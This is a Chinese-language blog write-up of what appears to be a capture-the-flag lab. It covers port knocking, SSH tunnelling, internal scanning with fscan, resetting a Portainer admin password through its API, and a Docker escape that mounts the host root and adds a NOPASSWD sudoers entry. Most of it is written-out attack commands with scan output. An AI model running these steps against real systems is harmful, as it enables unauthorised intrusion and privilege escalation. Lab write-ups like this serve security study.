本文最后更新于362 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
hashcat 破解hash
john 破解hash
端口转发
curl ssti注入 反弹shell
docker 环境渗透
字典生成
一、端口转发
使用 knock 192.168.1.160 -u 40809 50212 46969 && ssh -D 9000 dorthi@192.168.1.160 -i id_rsa 登陆
进入shell 后 使用 ip a 查看当前的IP地址 发现有很多网卡 可以推断 使用了 docker
使用 https://github.com/shadow1ng/fscan.git 内网综合扫描工具
编译命令
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
扫描一下
python3 -m http.server 8000
curl http://192.168.1.130:8000/fscan.elf -O
./fscan.elf -h 172.17.0.1/24
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.17.0.2 is alive
(icmp) Target 172.17.0.1 is alive
[*] Icmp alive hosts len is: 2
172.17.0.1:8080 open
172.17.0.2:9000 open
172.17.0.1:80 open
172.17.0.1:22 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://172.17.0.1 code:200 len:75 title:OZ webapi
[*] WebTitle http://172.17.0.2:9000 code:200 len:1299 title:Portainer
[*] WebTitle http://172.17.0.1:8080 code:302 len:219 title:Redirecting... 跳转url: http://172.17.0.1:8080/login
[*] WebTitle http://172.17.0.1:8080/login code:200 len:2115 title:GBR Support - Login
已完成 5/5
[*] 扫描结束,耗时: 10.131552852s
可以看到有http://172.17.0.2:9000 portainer 服务 运行在 9000端口
服务运行在 172.17.0.2 这台主机上 无法直接访问 可以使用端口转发的方式 访问
enter
~C
-L :5555:172.17.0.2:9000
然后在浏览器使用 http://127.0.0.1:5555 访问服务
首先需要 登陆
但是有一个更改密码的方法
http POST 172.17.0.2:9000/api/users/admin/init Username="admin" Password="df"
二、 docker 逃逸到宿主机 提权
在启动docker
容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成docker
逃逸。
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker
管理员可通过mount
命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot
切换根目录、写ssh
公钥和crontab
计划任何等逃逸到宿主机
Portainer是一个轻量级的docker环境管理UI,可以用来管理docker宿主机和docker swarm集群。
使用Portainer 新建一个容器 然后选择 使用 apline 镜像 python:2.7-apline
选中“Interactive & TTY” 然后在 volumes 中 设置 / 和/rootfs
create 然后 在容器中 点击控制台 使用/bin/sh 开启连接
获得了一个shell 访问/rootfs 在/rootfs/root 中找到root.txt
然后使用
/rootfs/etc # chmod 600 sudoers
/rootfs/etc # echo "dorthi ALL=(ALL) NOPASSWD: ALL" >> sudoers